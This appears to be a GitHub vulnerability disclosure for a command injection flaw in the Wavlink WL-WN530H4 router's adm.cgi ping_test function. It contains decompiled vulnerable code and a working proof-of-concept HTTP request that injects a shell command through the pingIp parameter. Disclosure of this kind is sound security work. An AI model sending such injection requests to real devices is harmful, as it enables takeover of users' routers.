Summermu Update readme.md 27f420f · 3 weeks ago

38 lines (27 loc) · 1.09 KB

Wavlink WL-WN530H4 command injection

Overview

- Vendor: Wavlink
- Product: Wavlink WL-WN530H4
- Version: 20220801
- Manufacturer's address：https://www.wavlink.com/en_us/product/WL-WN530H4.html
- Firmware download address ：https://www.wavlink.com/en_us/firmware/details/45.html

Vulnerability details

Wavlink WL-WN530H4 20220801 was found to contain a command injection vulnerability in the `ping_test` function of the `adm.cgi` via the `pingIp` parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.

```
FILE *__fastcall ping_test(int a1)
{
  const char *v1; // $v0
  char *v2; // $s0
  char *v3; // $v0
  FILE *result; // $v0
  FILE *v5; // $s0
  _BYTE v6[64]; // [sp+20h] [-E0h] BYREF
  char v7[128]; // [sp+60h] [-A0h] BYREF
  _DWORD v8[8]; // [sp+E0h] [-20h] BYREF

  v1 = (const char *)web_get("pingIp", a1, 0);
  v2 = strdup(v1);
  memset(v6, 0, sizeof(v6));
  memset(v7, 0, sizeof(v7));
  v8[0] = *(_DWORD *)"0";
  memset(&v8[1], 0, 28);
  snprintf((char *)v8, 0x20u, "%s", v2);
  if ( check_domain(v2) )
  {
    v3 = nvram_bufget(0, "lan_ipaddr");
    sprintf(v7, "http://%s/login.shtml?login=0", v3);
    web_redirect_wholepage(v7);
    result = (FILE *)access("/tmp/web_log", 0);
    if ( !result )
    {
      result = fopen("/dev/console", "w+");
      v5 = result;
      if ( result )
      {
        fprintf(result, "%s:%s:%d:PAGE Error\n\n", "adm.c", "ping_test", 2999);
        return (FILE *)fclose(v5);
      }
    }
  }
  else
  {
    do_system("ping -c 5 %s > /tmp/ping_test &", v2);
    return (FILE *)do_system("echo -n \"PING %s Failed\" > /tmp/ping_fail &", v2);
  }
  return result;
}
```

PoC

```
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/119.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 103
Origin: http://192.168.10.1
Connection: close
Referer: http://192.168.0.254
Cookie: session=562230006
```

```
page=ping_test&CCMD=4&pingIp=1;pwd;
```